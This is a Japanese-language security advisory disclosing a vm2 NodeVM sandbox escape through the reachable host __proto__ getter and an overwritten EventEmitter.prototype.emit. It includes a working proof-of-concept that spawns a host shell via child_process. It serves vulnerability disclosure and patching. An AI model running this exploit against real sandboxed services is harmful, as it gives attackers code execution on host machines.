vm2: サンドボックスからの脱出 (NodeVM)

## 概要

ホストの `__proto__` ゲッター/セッターを取得できるという問題は、多くの報告で指摘されています。

- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p
- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6

しかし、この問題はこれまで修正されていませんでした。

---

この問題は、依然としてサンドボックスからの脱出に利用可能です。その一例は、`console._stdout`/`console._stderr` を使用する方法です (NodeVM で `console: 'inherit'` を設定した場合、これがデフォルトです)。

## 詳細

`console._stdout`/`console._stderr` のプロトタイプチェーンは以下のようになります。

```
_stdout / _stderr
-> WriteStream (TTY の場合のみ)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitter
```

`process` は `EventEmitter` であり、`EventEmmiter.prototype` に書き込むことを防ぐものはありません。

`EventEmmiter.prototype.emit` を関数で上書きし、`process` がイベント (例: `exit`, `unhandledRejection` など) を発生させることで、`this` が `process` である状態でコードを実行できます。

これにより、ホストの関数コンストラクタを取得する「通常の」脱出方法をブロックする `--disallow-code-generation-from-strings` オプションも回避できます。

## 実証コード

```js
const { NodeVM } = require("vm2");

code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');

// vm __proto__ ゲッター
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}

// ホスト __proto__ ゲッター
console.log(gP.call(console._stderr)); // Socket { [...] }

let p = console._stdout;
while (p.pipe) {
console.log(p.constructor.name);
p = gP.call(p);
};

p.emit = function(){
console.log(this+[]);
this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;

const vm = new NodeVM();
vm.run(code);
```

影響を受けるパッケージ:
- npm (JavaScript) vm2: 影響を受けるバージョンは 3.11.7 以前、修正されたバージョンは 3.11.8